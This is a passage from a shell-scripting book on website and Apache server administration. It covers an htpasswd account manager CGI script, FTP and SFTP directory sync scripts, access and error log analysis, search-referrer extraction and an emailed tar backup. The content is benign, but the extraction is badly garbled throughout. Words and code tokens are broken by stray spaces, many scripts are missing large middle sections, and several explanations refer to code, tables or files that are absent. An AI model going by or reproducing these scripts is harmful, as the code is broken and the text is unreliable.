To get started, you will need a properly formatted .ht a c ces s file to control access to the directory it's located within.
For demonstration purposes, this file might look like the following:
$ c at . hta cc ess
A ut hUs e rFi le /w eb /int uiti ve/wi c ked / e xam p l es /p ro t ec te d /. h tp as s wd
A ut hGr o upF il e / de v/nu ll
A ut hNa m e " Sa mpl e Prot ecte d Dir e cto r y "
A ut hTy p e B as ic
A separate file, .h tp ass wd , contains all the account and password pairs. If this file doesn't yet exist, you'll need to
create one, but a blank one is fine: Use to uc h. h t pas s w d and ensure that it's writable by the user ID that runs
Apache itself (probably user nobo dy). Then we're ready for the script.
The Code
# !/ bin / sh
# N ow g et th e p as swor d fi lenam e fr o m th e .h ta cc e ss f i le
p as swd f ile =" $(g re p "A uthU serFi l e" $ h tac c e ss | c u t -d \ - f 2) "
e ch o " < cen te r>< h2 sty le=' backg r oun d : #cc f ' >A pa ch e P as s wo r d Ma n ag er < /h 2> "
e ch o " < br> <b r>< ta ble bord er='1 ' ce l l spa c i ng =' 0' wi dt h =' 8 0% ' c el lp a dd in g =' 3' > "
e ch o " < tr bg col or ='#c cccc c'><t h co l s pan = ' 3' >L is t "
e ch o " o f a ll cu rr ent user s</td > </t r > "
o ld IFS = $IF S ; I FS =":" # chan g e w o r d s p l it d el i mi te r
w hi le r ead a cct p w ; do
e cho "<t r> <th >$ acct </th ><td a lig n = cen t e r> <a h r ef =\ " $m y na me ? a= D& u =$ ac c t\ "> "
e cho "[d el ete ]< /a>< /td> </tr> "
d on e < $pa ss wdf il e
e ch o " < /ta bl e>"
I FS =$o l dIF S # and r e sto r e it
# A nd o utp ut th e foot er
s ed -e "s/ -- myn am e--/ $myn ame/g " -e " s/- - o pt io ns - -/ $o p ti o ns tr i ng /g " < $ f oo te r
e xi t 0
How It Works
There's a lot working together for this script to function. Not only do you need to have your Apache configuration (or
equivalent) correct, but you need to have the correct entries in the . h ta cc e ss file and you need an . ht pa s sw d
file with (ideally) at least an entry for the ad mi n user.
The script itself extracts the h tpass wd filename from the . h tac c es s file and does a variety of tests to sidestep
common h tpa ss wd error situations, including an inability for the script to write to the file. It also checks to ensure
that the user is logged in as ad min if the password file exists and is nonzero in size. All of this occurs before the main
block of the script, the c as e statement.
For example, let's say I was adding a new user called joe , with the password k n if e. This action would result in the
following Q UER Y_ STR IN G being given to the script from the web server:
a =A &u= j oe& p= kni fe
The script would unwrap this so that acti on was A , u s e r was j oe , and pa s s was kn if e . Then it would ensure
that the password contains only valid alphabetic characters in the following test:
i f [ ! -z "$ (ec ho $pa ss | tr - d '[ [ : upp e r :] [: lo w er :] [ :d i gi t: ] ]' )" ] ; t he n
e cho "Er ro r: pa sswo rds can o n ly c o nta i n a -z A - Z 0- 9 ( $ pa ss ) "
Finally, if all was well, it would invoke the htp a ssw d program to encrypt the password and add the new entry to the
. ht pas s wd file:
$ ht pas s wd $p ass wd file $us er $p a ss
After producing three lines of HTML output for the heading of the table, the script continues with the interesting code:
o ld IFS = $IF S ; I FS =":" # chan g e w o r d s p l it d el i mi te r
w hi le r ead a cct p w ; do
e cho "<t r> <th >$ acct </th ><td a lig n = cen t e r> <a h r ef =\ " $m y na me ? a= D& u =$ ac c t\ "> "
e cho "[d el ete ]< /a>< /td> </tr> "
d on e < $pa ss wdf il e
e ch o " < /ta bl e>"
I FS =$o l dIF S # and r est o r e i t
This w hile loop reads the name and password pairs from the . ht p as sw d file through the trick of changing the input
field separator (I FS) to a colon (and changing it back when done).
Adding a Footer of Actions to Take
The script also relies on the presence of an HTML file called a p m- fo ot e r. h tm l that contains quite a bit of code
itself, including occurrences of the strings "--myname--" and "--options--", which are replaced by the current name of
the CGI script and the list of users, respectively, as the file is output to st do u t.
s ed -e "s/ -- myn am e--/ $myn ame/g " -e " s/- - o pt io ns - -/ $o p ti o ns tr i ng /g " < $ f oo te r
The $my n ame variable is processed by the CGI engine, which replaces the variable with the actual name of the script.
The script itself builds the $opt ions tring variable from the account name and password pairs in the
. ht pas s wd file:
o pt ion s tri ng ="$ (c ut - d: - f1 $p a ssw d f ile | s ed ' s /^ /< o pt i on >/ ' |t r ' \n ' ' ' )"
And here's the HTML footer file itself, which provides the ability to add a user, update a user's password, and delete a
user:
< !- - f o ote r inf or mati on f or AP M sy s t em. - ->
Very helpful tip When you use a pm, make sure that the first account you create is ad m in , so you
can use the script upon subsequent invocations! There's a special test in the code
that allows you to create the a d mi n account if .h t pa ss w d is empty.
The Result
The result of running the ap m script is shown in Figure 9-1. Notice in the screen shot that it not only lists all the
accounts, with a delete link for each, but also, in the bottom section, offers options for adding another account,
changing the password of an existing account, deleting an account, or listing all the accounts.
This book offers two scripts for FTP syncing: ft p s ync u p and f tp sy nc d ow n . The first uploads all files in the
current directory to the remote directory, while the latter does the opposite and is presented next, as Script #82. Unless
you're starting afresh on a new client system and thus need to acquire the latest versions of files from a server, you'll
most likely use ft ps ync up far, far more often than its sibling, because people rarely work directly on files located on
servers.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $0 use r@ho st { r emo t e dir } " >& 2
e xit 1
fi
i f [ $ # -g t 1 ] ; the n
e cho "cd $ 2" >> $te mpfi le
fi
How It Works
The ftp s ync up script uses the .t imest a mp file to ascertain which files in the current directory have changed
since the last time ft psy nc up synchronized with the remote system. If . ti m es t am p isn't present, ft ps y nc up
automatically uploads everything in the current directory.
The actual upload of files occurs in the conditional statement at the end of the script, which tests to see whether the
transfer worked:
i f ! f t p - n < $ te mpfi le ; then
Caution Be warned that some versions of Unix include an ft p program that doesn't properly return a nonzero
failure code to the shell when a transfer fails. If you have such an f tp program, the conditional
statement just shown will always return false, and the t ou c h $t i me s ta mp statement will never
execute. If you find that to be the case, remove the conditional block completely, leaving just the
following:
f tp -n < $ te mpf il e
t ou ch $ tim es tam p
Upon completion, the .ti me stam p file is either created or updated, depending on whether it exists.
It would be quite easy to either drop this shell invocation directly into a cr o n job or to create a sync alias that
remembers the command-line arguments, as shown in the "Running the Script" section of Script #83, Synchronizing
Files with SFTP.
The Results
$ f tps y ncu p tay lo r@in tuit ive.c o m a r c hiv e
S yn chr o niz in g U p: Fou nd 3 3 fil e s i n loc a l s yn c f ol de r .
P as swo r d:
D on e. A ll fi les s ynch roni zed u p wi t h in t u it iv e. c om
The Pas s wor d: prompt is from within the f tp program itself, and on this Linux system, the entire interaction is
quite succinct and graceful. The second time the command is invoked, it properly reports nothing to do:
$ f tps y ncu p tay lo r@in tuit ive.c o m a r c hiv e
f tp syn c up: N o f il es r equi re up l oad i n g t o in tu it i ve .c o m
The problem with this solution is that it's really beginning to push the edges of what's logical to include in a shell script.
If you have ncf tp , for example, you'll find that it has built-in support for recursive p u t commands; rewriting these
scripts to utilize that n cf tp capability makes a lot more sense than continuing to struggle with the more primitive ft p
command.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $0 use r@ho st { r emo t e dir } " >& 2
e xit 1
fi
i f [ $ # -g t 1 ] ; the n
e cho "cd $ 2" >> $te mpfi le
fi
How It Works
This script works almost identically to Script #81, Synchronizing Directories with FTP, and you'll find the helpful "How It
Works" description there will also apply directly to this script. Also, as with Script #81, if you have a version of f tp that
doesn't properly return a nonzero failure code to the shell when a transfer fails, simply remove the conditional block
completely, leaving only
f tp -n < $ te mpf il e
The Results
Copying the contents of the remote archive directory to a new server is a breeze:
$ f tps y ncd ow n t ay lor@ intu itive . com a rch i v e
S yn chr o niz in g: Do wnlo adin g fil e s
P as swo r d:
I nt era c tiv e mod e off.
D on e. A ll fi les o n in tuit ive.c o m d o w nlo a d ed t o / ho me / jo e /a rc h iv e
Solving this problem is tricky because it's difficult to ascertain the directory and file structure on the remote f tp server.
One possible solution would be to have the script execute a di r command on the remote directory, step through the
output results to ascertain which of the remote matches is a file and which is a subdirectory, download all the files to
the current local directory, make any necessary subdirectories within the local directory, and then, one by one, step into
each new local subdirectory and reinvoke ftps y n cdo w n .
As with the suggested solution to a similar directory problem in Script #81, if you have nc ft p you'll find that it has
built-in support for recursive ge t commands. Rewriting this script to utilize that nc f tp capability makes a lot more
sense than continuing to struggle with the more primitive f t p command.
For a brief note on when to rewrite shell scripts in a "real" programming language, see the "Hacking the Script" section
in Script #81.
#83 Synchronizing Files with SFTP
While the f tp program is quite widely available, it's really something you should avoid like the plague. There are two
reasons for this. First, f tp servers are notorious for being buggy and having security holes, and second, and much
more problematic, ftp transfers all data between the server and client in the clear. This means that when you transmit
files to your server, your account name and password are sent along without any encryption, making it relatively trivial
for someone with a packet sniffer to glean this vital information. That's bad. Very bad.
Instead, all modern servers should support the considerably more secure ssh (secure shell) package, a login and file
transfer pair that supports end-to-end encryption. The file transfer element of the encrypted transfer is s f tp , and it's
even more primitive than f tp, but we can still rewrite f tp s y nc u p to work with s f t p, as shown in this script.
Downloading an ssh package If you don't have ssh on your system, complain to your vendor
and administrative team. There's no excuse. You can also obtain
the package and install it yourself by starting at
h t tp : / /w w w. o p en s s h. c o m/
The Code
#! /b in /s h
# sf tp sy nc - Gi v en a ta r g et d ir e c to r y o n an sf t p s e r ve r , m a k es s ur e th a t
# al l new or m odi f i ed f il e s a r e u p l oa d e d t o t h e r e mo t e s y s te m . U s e s
# a ti mes t amp fil e in g e ni o u sl y ca l l ed . ti m es t a mp t o k e ep t ra c k .
ti me st am p=" . tim e sta m p "
te mp fi le ="/ t mp/ s ftp s y nc . $ $"
co un t= 0
if [ $ # -eq 0 ] ; t h e n
ec ho " Usa g e: $ 0 u s e r@ h o st { r e m ot e d ir } " > &2
ex it 1
fi
if [ $ # -gt 1 ] ; t h e n
ec ho " cd $ 2" > > $ t e mp f i le
fi
if [ ! - f $ t ime s tam p ] ; th e n
# no t ime s tam p fi l e , u p lo a d a l l f i l es
fo r fi len a me i n *
do
if [ -f "$f i len a m e" ] ; t he n
ec ho " put -P \ " $f i l en a m e\ " " > > $t e m pf i le
co unt = $(( $ cou n t + 1 ))
fi
do ne
el se
fo r fi len a me i n $ ( f in d . - n ew e r $ t i me s t am p - t y pe f - p r in t )
do
e ch o " p ut - P \ " $ fi l e na m e \" " >> $ te m p fi l e
c ou nt= $ (($ c oun t + 1 ) )
do ne
fi
if [ $ co unt -eq 0 ] ; t h e n
ec ho " $0: No f ile s re q u ir e up l o ad i n g t o $ s er v e r" > &2
ex it 1
fi
How It Works
Like f t p , s ftp allows a series of commands to be fed to it as a pipe or input redirect, which makes this script rather
simple to write: Almost the entire script focuses on building the sequence of commands necessary to upload changed
files. At the end, the sequence of commands is fed to the sf t p program for execution.
As with Scripts #81 and #82, if you have a version of s f t p that doesn't properly return a nonzero failure code to the
shell when a transfer fails, simply remove the conditional block at the end of the script, leaving only
sf tp - b $te m pfi l e " $ u se r @ $s e r ve r "
to uc h $t ime s tam p
Because sf tp requires the account to be specified as u s er @ h os t , it's actually a bit simpler than the equivalent
ft p script shown in Script #81, f t ps y n cu p . Also notice the -P flag added to the p u t commands; it causes s f t p to
retain the local permission, creation, and modification times for all files transferred.
The "Hacking the Script" section shows a more sophisticated wrapper that makes the synchronization script even more
helpful.
The Results
$ sf tp sy nc t ayl o r@i n t ui t i ve . c om / wi c k ed / s cr i pt s
Sy nc hr on izi n g: F oun d 2 f i le s in l oc a l f o l de r t o up l o ad .
Co nn ec ti ng t o i n tui t i ve . c om . . .
ta yl or ta ylo r @in t uit i v e. c o m' s pa s s wo r d :
sf tp > cd /w i cke d /sc r i pt s
sf tp > pu t - P ". / 003 - n or m d at e . sh "
Up lo ad in g . / 003 - nor m d at e . sh t o / u sr / h om e / ta y lo r / us r / lo c a l/ e t c/ h t tp d / ht d oc s /
in tu it iv e/w i cke d /sc r i pt s / 00 3 - no r m da t e .s h
sf tp > pu t - P ". / 004 - n ic e n um b e r. s h "
Up lo ad in g . / 004 - nic e n um b e r. s h t o /u s r /h o m e/ t ay l o r/ u s r/ l o ca l / et c / ht t p d/ h td o c s/
in tu it iv e/w i cke d /sc r i pt s / 00 4 - ni c e nu m b er . s h
sf tp > qu it
Do ne . Al l f i les syn c h ro n i ze d up w it h in t u it i ve . c om
This wrapper, s syn c , contains all the necessary logic for moving to the right local directory (see the variable
lo ca ls ou rce ) and creating a file archive that has the latest versions of all the files in a so-called tarball (named for
the t a r , tape archive, command that's used to build it). The last line of the script calls s f tp s y nc :
#! /b in /s h
# ss yn c - I f an y thi n g 's c ha n g ed , cr e a te s a t ar b a ll a nd s yn c s a r em o t e
# d ir ect o ry v ia s f tp u si n g s f t ps y n c.
# Fi rs t off , le t 's s e e i f t h e l o c al d ir e xi s ts a nd h as f il e s
if [ ! - f $ t ime s tam p ] ; th e n
fo r fi len a me i n *
do
if [ -f "$f i len a m e" ] ; t he n
co unt = $(( $ cou n t + 1 ))
fi
do ne
el se
co un t= $(f i nd . -n e w er $ ti m e st a m p - t yp e f - pr i n t | wc - l)
fi
if [ $ co unt -eq 0 ] ; t h e n
ec ho " $(b a sen a me $ 0 ): N o f i le s fo u n d i n $ l oc a l so u r ce t o s y nc w it h re m ot e . "; e xit
0
fi
ta r -c zf $t a rba l lna m e . / *
ex ec $ sf tps y nc $ sft p a cc t $r e m ot e d ir
With one command, a new archive file is created, if necessary, and all files (including the new archive, of course) are
uploaded to the server as needed:
$ ss yn c
Ma ki ng t arb a ll a rch i v e f i le f or u pl o a d
Sy nc hr on izi n g: F oun d 2 f i le s in l oc a l f o l de r t o up l o ad .
Co nn ec ti ng t o i n tui t i ve . c om . . .
ta yl or @i ntu i tiv e .co m ' s p a ss w o rd :
sf tp > cd sh e llh a cks / s cr i p ts
sf tp > pu t - P ". / All F i le s . tg z "
Up lo ad in g . / All F ile s . tg z to s he l l ha c k s/ s c ri p ts / A ll F i le s . tg z
sf tp > pu t - P ". / ssy n c "
Up lo ad in g . / ssy n c t o sh e l lh a c ks / s cr i p ts / s sy n c
sf tp > qu it
Do ne . Al l f i les syn c h ro n i ze d up w it h in t u it i ve . c om
This script can doubtless be hacked further. One obvious tweak would be to have s s yn c invoked from a c r o n job
every few hours during the work day so that the files on a remote backup server are invisibly synchronized to your
local files without any human intervention.
Chapter 10: Internet Server Administration
Many Linux, Unix, and Mac OS X readers wear several hats in their jobs, webmaster and web server administrator
being just two of them. For others working on larger systems, the job of managing the server and service is completely
separate from the job of designing and managing actual content on the website, FTP server, and so forth.
Chapter 9, "Website Administration," offered tools geared primarily toward webmasters and other content managers.
This chapter, by contrast, shows how to analyze web server log files, mirror websites, monitor FTP usage and network
health, and even add new virtual host accounts to allow additional domains to be served up from an existing web
server.
Column Value
The result code (field 8) of 301 indicates success. The referrer (field 10) indicates the URL of the page that the surfer
was visiting immediately prior to the page request on this site: You can see that the user was at s ea r ch .m s n. c om
(MSN) and searched for "little big Horn." The results of that search included a link to the / c us t er URL on this
server.
The number of hits to the site can be quickly ascertained by doing a word count on the log file, and the date range of
entries in the file can be ascertained by comparing the first and last lines therein:
$ wc - l ac ces s_ log
109 91 a cce ss _lo g
$ head -1 acc es s_l og ; ta il -1 a c ces s _ l og
64 .12. 96.1 06 - - [ 13/ Sep/ 200 3:18 : 02: 5 4 -06 0 0] .. .
21 6.93 .167 .15 4 - - [1 5/Se p/2 003: 1 6:3 0 : 2 9 - 0 60 0 ] . ..
With these points in mind, here's a script that produces a number of useful statistics, given an Apache-format
ac cess _log log file.
The Script
#! /bin /sh
if [ $ # -e q 0 ] ; the n
echo "Us age : $(b ase name $0 ) lo g fil e " >&2
exit 1
fi
if [ ! -r "$1 " ] ; th en
echo "Er ror : log fi le $ 1 n ot f o und . " >&2
exit 1
fi
fi rstd ate= "$( he ad -1 "$1" | awk ' {pr i n t $4 } ' | s e d ' s/ \[ / /' ) "
la stda te=" $(t ai l - 1 " $1" | a wk ' { pri n t $4} ' | se d ' s /\ [/ / ') "
hi ts=" $(wc -l < "$ 1" | se d ' s/[^ [ :di g i t :]] / /g ' )"
pa ges= "$(g rep - ivE '( .txt |.g if|. j pg| . p n g)' "$ 1 " | w c - l | s e d ' s/ [^ [ :d i gi t :] ]/ /g')"
to talb ytes ="$ (a wk '{s um+= $10 } EN D {p r i n t s u m} ' " $ 1" ) "
ec ho " "
ec ho " The ten m ost po pula r p ages wer e : "
aw k '{ prin t $ 7} ' " $1" | g rep -iv E '( . g i f|. j pg | .p n g) ' | \
sed 's/\ /$/ /g ' | so rt | \
uniq -c | s or t - rn | he ad -10
ec ho " "
ec ho " "
ex it 0
How It Works
Although this script looks complex, it's not. It's easier to see this if we consider each block as a separate little script. For
example, the first few lines extract the fir stda t e and la s t da te by simply grabbing the fourth field of the first
and last lines of the file. The number of hits is calculated by counting lines in the file (using wc ), and the number of
page views is simply hits minus requests for image files or raw text files (that is, files with . g if , . jp g , .p n g, or
.t xt as their extension). Total bytes transferred is calculated by summing up the value of tenth field in each line and
then invoking n ice nu mbe r to present it attractively.
The most popular pages can be calculated by extracting just the pages requested from the log file; screening out any
image files; sorting, using un i q -c to calculate the number of occurrences of each unique line; and finally sorting
one more time to ensure that the most commonly occurring lines are presented first. In the code, it looks like this:
aw k '{ prin t $ 7} ' " $1" | g rep -iv E '( . g i f|. j pg | .p n g) ' | \
sed 's/\ /$/ /g ' | so rt | \
uniq -c | s or t - rn | he ad -10
Notice that we do normalize things a little bit: The s ed invocation strips out any trailing slashes, to ensure that
/s ubdi r/ and /s ubd ir are counted as the same request.
Similar to the section that retrieves the ten most requested pages, the following section pulls out the referrer
information:
aw k '{ prin t $ 11 }' "$1 " | \
grep -vE "( ^\ "-\ "$| /www .$h ost| / $ho s t ) " | \
sort | u niq - c | so rt - rn | he a d - 1 0
This extracts field 11 from the log file, screening out both entries that were referred from the current host and entries
that are " -" (the value sent when the web browser is blocking referrer data), and then feeds the result to the same
sequence of s or t |u niq -c| sor t -r n|h e ad - 1 0 to get the ten most common referrers.
The Results
The result of running this script on a typical log file is quite informative:
$ weba cces s / we b/l ogs /int uit ive/ a cce s s _ log
Re sult s of an al yzi ng log fil e /w e b/l o g s /in t ui t iv e /a c ce ss _ lo g
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $( base name $0) l ogf i l e" > & 2
e xit 1
fi
i f [ ! -r "$ 1" ] ; th en
e cho "Er ro r: ca n't open file $1 f o r a n a ly si s. " > &2
e xit 1
fi
e ch o " "
e ch o S c ann ed $c ou nt e ntri es in log f ile o ut o f $ (w c - l < " $1 " ) to t al .
e xi t 0
How It Works
The main fo r loop of this script extracts all entries in the log file that have a valid referrer with a string length greater
than 4, a referrer domain that does not match the $ h o st variable, and a ? in the referrer string (indicating that a user
search was performed):
f or UR L in $ (aw k '{ i f (l ength ( $11 ) > 4 ) { pr in t $ 11 } } ' "$ 1 " | \
g rep -vE " (/w ww .$ho st|/ $host ) " | g rep ' ?' )
The script then goes through various steps in the ensuing lines to identify the domain name of the referrer and the
search value entered by the user:
s ear c hen gi ne= "$ (ech o $U RL | c ut - d / - f 3 | r ev | cu t - d . -f 1 -2 | re v) "
a rgs = "$( ec ho $U RL | cut -d\? -f2 | tr ' &' ' \n ' | \
g r ep -E '( ^q =|^s id=| ^p=|q u ery = | ite m = |a sk =| n am e= | to p ic =) ' | \
s e d - e 's/ +/ /g' -e 's/%2 0 / / g ' -e ' s/ "/ /g ' | c u t - d= - f 2) "
An examination of hundreds of search queries shows that common search sites use a small number of common
variable names. For example, search on Ya ho o. c o m and your search string is p = pa tt e rn . Google and MSN use
q as the search variable name. The gr ep invocation contains p, q, and the other most common search variable
names.
The last line, the invocation of s ed, cleans up the resultant search patterns, replacing + and % 2 0 sequences with
spaces and chopping quotes out, and then the c u t command returns everything that occurs after the first equal (= )
sign in other words, just the search terms.
The conditional immediately following these lines tests to see if the ar g s variable is empty or not. If it is (that is, if the
query format isn't a known format), then it's a search engine we haven't seen, so we output the entire pattern rather
than a cleaned-up pattern-only value.
Speed warning! This is one of the slowest scripts in this book, because it's spawning lots and lots of
subshells to perform various tasks, so don't be surprised if it takes a while to run.
The Results
$ s ear c hin fo /w eb /log s/in tuiti v e/a c c ess _ l og
S ea rch eng in e r ef erre r in fo ex t rac t e d f r o m /w eb / lo gs / in t ui ti v e/ ac c es s_ l og :
19 msn .c om: litt le bi g ho r n
14 msn .c om: cust er
11 goo gl e.c om : c ool w e b p a g es
10 msn .c om: plai ns
9 msn .c om: Litt le Bi g Ho r n
9 goo gl e.c om : h tml 4 ent i t ies
6 msn .c om: Cust er
4 msn .c om: the plain s in d i ans
4 msn .c om: litt le bi g ho r n ba t t le fi el d
4 msn .c om: Indi an Wa r s
4 goo gl e.c om : n ewsgr o ups
3 yah oo .co m: co ol we b pa g e s
3 itt oo lbo x. com i=1 1 86"
3 goo gl e.i t: ju ngle b ook k ipl i n g pl ot
3 goo gl e.c om : c ool w e b g r a phi c s
3 goo gl e.c om : c olore d bu l l ets C SS
2 yah oo .co m: un ix%2B h ogs
2 yah oo .co m: co ol HT M L t a g s
2 msn .c om: www. custe r .co m
To be fair, ex post facto analysis of search engine traffic is difficult. Another way to approach this task would be to
search for all hits coming from a specific search engine, entered as the second command argument, and then to
compare the search strings specified. The core f o r loop would change, but, other than a slight tweak to the usage
message, the script would be identical to the s ear c h inf o script:
f or UR L in $ (aw k '{ i f (l ength ( $11 ) > 4 ) { pr in t $ 11 } } ' "$ 1 " | \
g rep $2)
do
a rgs = "$( ec ho $U RL | cut -d\? -f2 | tr ' &' ' \n ' | \
g r ep -E '( ^q =|^s id=| ^p=|q u ery = | ite m = |a sk =| n am e= | to p ic =) ' | \
c u t - d= -f 2) "
e cho $ar gs | se d -e 's/ +/ /g ' -e ' s/" / / g' > > $ te mp
c oun t ="$ (( $co un t + 1))"
d on e
The results of this new version, given g oogle . com as an argument, are as follows:
$ e ngi n ehi ts /w eb /log s/in tuiti v e/a c c ess _ l og g oo g le .c o m
S ea rch eng in e r ef erre r in fo ex t rac t e d g o o gl e se a rc he s f r om
/ we b/l o gs/ in tui ti ve/a cces s_log :
13 coo l web p ages
10
9 htm l 4 e nt itie s
4 new sg rou ps
3 sol ar is 9
3 jun gl e b oo k ki plin g plo t
3 int ui tiv e
3 coo l web g raph ics
3 col or ed bu llet s CS S
2 sun s ola ri s op erat ing s y ste m rea d i ng m at e ri al
2 sol ar is un ix
2 mil it ary w eapo nry
2 how t o a dd pro gram to s u n s o l ari s me nu
2 dyn am ic ht ml b orde r
2 Wal lp ape r Niko n
2 HTM L for h eart sym bol
2 Coo l web p ages
2 %22 Mi lit ar y we apon ry%22
1 www %2 fvo ic es.c om
1 wor st ga ra ge d oor opene r
1 wha ti s a rt sd
1 wha t% 27s m eta tag
If most of your traffic comes from a few search engines, you could analyze those engines separately and then list all
traffic from other search engines at the end of the output.
#86 Exploring the Apache error_log
Just as Script #84, Exploring the Apache access_log, reveals the interesting and useful statistical information found in
the regular access log of an Apache or Apache-compatible web server, this script extracts the critical information from
the erro r_l og .
For those web servers that don't automatically split their log file into separate a c ce ss _ lo g and er ro r _l o g
components, you can sometimes split a central log file into access and error components by filtering based on the
return code (field 9) of each entry in the log:
aw k '{ if ( sub st r($ 9,0 ,1) <= "3") { p r i n t $ 0 } }' ap a ch e. l og > a cc es s _l o g
aw k '{ if ( sub st r($ 9,0 ,1) > "3") { p r i n t $ 0 } }' ap a ch e. l og > e rr or _ lo g
A return code that begins with a 4 or a 5 is a failure (the 400s are client errors, the 500s are server errors), and a
return code beginning with a 2 or a 3 is a success (the 200s are success messages, the 300s are redirects):
Other servers that produce a single central log file containing both successes and errors denote the error message
entries with an [er ro r] field value. In that case, the split can be done with a gr ep '[ e rr o r] ' to create the
er ror_ log and a gre p -v '[e rror ]' to create the acc e s s_ lo g .
Whether your server automatically creates an er ro r _ log or you have to create your own error log by searching for
entries with the '[e rro r] ' string, in the error log just about everything is different, including the way the date is
specified:
$ head -1 err or _lo g
[T hu J an 2 1 0: 07: 07 2003 ] [ erro r ] [ c l i ent 20 8 .1 8 0. 3 1. 24 4 ] F il e d oe s
no t ex ist: /u sr /lo cal /etc /ht tpd/ h tdo c s / int u it i ve / fa v ic on . ic o
In the ac ces s_ log , dates are specified as a compact one-field value with no spaces, but the e rr or _ lo g takes
five fields instead. Further, rather than a consistent scheme in which the word/string position in a space-delimited entry
consistently identifies a particular field, entries in the e r ror _ l og have a meaningful error description that varies in
length. An examination of just those description values reveals surprising variation:
$ awk '{pr int $ 9" "$1 0" " $11 " "$ 1 2 } ' e rro r _l o g | s o rt - u
Fi le d oes not e xis t:
In vali d er ror r edi rec tion di rect i ve:
Pr emat ure end o f s cri pt
ex ecut ion fai lu re for par ame ter
pr emat ure EOF i n p ars ed
sc ript not fo un d o r
ma lfor med hea de r f rom scr ipt
Some of these errors should be examined by hand because they can be difficult to track backward to the offending
web page once identified. Others are just transient problems:
[T hu J an 1 6 2 0: 03: 12 2003 ] [ erro r ] [ c l i ent 20 5 .1 8 8. 2 09 .1 0 1] (3 5 )
Re sour ce t emp or ari ly unav ail able : co u l d n't sp a wn in c lu de co m ma n d
/u sr/h ome/ tay lo r/w eb/ intu iti ve/l i bra r y / hea d er . cg i : C an no t f o rk :
Re sour ce t emp or ari ly unav ail able
This script focuses on the most common problems in particular, File does not exist errors and then produces a
dump of all other er ror _l og entries that don't match well-known error situations.
The Code
#! /bin /sh
ht docs ="/u sr/ lo cal /et c/ht tpd /htd o cs/ "
my home ="/u sr/ ho me/ tay lor/ "
cg ibin ="/u sr/ lo cal /et c/ht tpd /cgi - bin / "
if [ $ # -n e 1 - o ! -r "$1 " ] ; t h en
echo "Us age : $(b ase name $0 ) [- l le n ] err o r_ l og " > & 2
exit 1
fi
st art= "$(g rep - E ' \[. *:.* :.* \]' " $1" | hea d - 1 | aw k ' {p r in t $ 1 " "$ 2 " " $3 " " $4 " "$5
}' )"
en d="$ (gre p - E '\[ .*: .*:. *\] ' "$ 1 " | t a il - 1 | a w k ' {p ri n t $ 1" "$ 2" "$ 3 " " $4 " "$5
}' )"
ec ho - n "E ntr ie s f rom $st art to $ end "
ec ho " "
gr ep - vE " $sc re en" "$ 1" | gr ep " \ [er r o r \]" | g re p " \ [c li e nt " | \
sed 's/\ [er ro r\] /\` /' | cu t -d \ ` - f 2 | c u t - d\ -f 4 - | \
sort | u niq - c | so rt - rn | se d 's / ^ / /' | h ea d - $ le ng t h > $ t em p
ex it 0
How It Works
This script works by scanning the err or_ log for the five errors specified in the calls to the c h ec kf o r function,
extracting the last field on each error line with an a w k call for $ N F (N F represents the number of fields in that
particular input line). This output is then fed through the common s o r t | u ni q -c | so r t -r n sequence to allow
the extraction of the most commonly occurring errors for that category of problem.
To ensure that only those error types with matches are shown, each specific error search is saved to the temporary
file, which is then tested for contents before a message is output. This is all neatly done with the c he c kf or function
that appears near the top of the script.
The last few lines of the script are perhaps the most complex. First they identify the most common errors not otherwise
checked for by the script that are still in standard Apache error log format. The following g r ep invocations are part of
a longer pipe:
gr ep - vE " $sc re en" "$ 1" | gr ep " \ [er r o r \]"
Then the script identifies the most common errors not otherwise checked for by the script that don't occur in standard
Apache error log format. Again, the following gre p invocations are part of a longer pipe:
gr ep - vE " $sc re en" "$ 1" | gr ep - v "\ [ e r ror \ ]"
The Results
$ webe rror s e rr or_ log
In put file er ro r_l og has 104 0 en t rie s .
En trie s fr om [S at Aug 23 18: 10:2 1 20 0 3 ] to [S a t A ug 30 1 7 :2 3 :3 8 2 00 3 ]
Fi le d oes not e xis t e rror s:
24 [ht doc s] i ntu itiv e/c oolw e b/G r a p hic s /G r ap h ic s /o ff . gi f
19 [ht doc s] i ntu itiv e/t aylo r /Gr a p h ics / bi o ha z ar d .g if
19 [ho med ir ] p ubl ic_h tml /tyu / tyu - t o c.h t ml
14 [ht doc s] i ntu itiv e/G raph i cs/ b o t tom - me n u. g if
12 [ht doc s] i ntu itiv e/t mp/r o se- c e r emo n y/ s pa c er . gi f
This sounds more complex than it really is, because as you'll see in this script, the archive is just a file emailed to a
remote mailbox and could even be pointed to a Yahoo! or Hotmail mailbox. The list of files is kept in a separate data
file, with shell wildcards allowed therein. Filenames can contain spaces too, something that rather complicates the
script, as you'll see.
The Code
# !/ bin / sh
i f [ $ # -n e 2 - a $# - ne 3 ] ; t hen
e cho "Us ag e: $( base name $0) b ack u p -fi l e -l is t r em ot e ad d r {t a rg et d ir }" >& 2
e xit 1
fi
i f [ ! -s "$ 1" ] ; th en
e cho "Er ro r: ba ckup lis t $1 i s e m p ty o r m is si n g" > & 2
e xit 1
fi
w hi le r ead e ntr y; do
e cho "$e nt ry" | sed -e 's/ / \ \ / g ' >> $ in fi le
d on e < "$1 "
e xi t 0
How It Works
After the basic validity checks, the script processes the file containing the list of critical files, which is supplied as the
first command argument, to ensure that spaces embedded in its filenames will work in the w h il e loop (remember, by
default spaces delimit arguments, so without some additional help, the shell will think that "test file" is two arguments,
not one). It does this by prefacing every space with a backslash. Then it builds the archive with the primitive but useful
t ar command, which lacks the ability to read standard input for its file list and thus must be fed the filenames via a
c at invocation.
t ar cz f - $( cat $ infi le)
The tar invocation automatically compresses the archive, and uu e nc o de is then utilized to ensure that the resultant
archive data file can be successfully emailed without corruption. The end result is that the remote address receives an
email message with the uuencoded tar archive as an attachment. This should be a straightforward script.
Note The uu en cod e program wraps up binary data so that it can safely travel through the email system without
being corrupted. See man uuencode for more information.
The Results
$ r emo t eba ck up fi leli st t aylor @ int u i tiv e . co m
D on e. r emo te bac ku p ba cked up t h e f o l low i n g fi le s :
*.s h
*.h t ml
a nd ma i led t hem t o ta ylor @intu i tiv e . com
A more sophisticated use of this script lets us tie it in to the system mirroring tool presented as Script #88, Mirroring a
Website, with the third argument specifying a target unpacking directory:
$ c d / w eb
$ r emo t eba ck up ba ckup list tayl o r@i n t uit i v e. co m m ir ro r
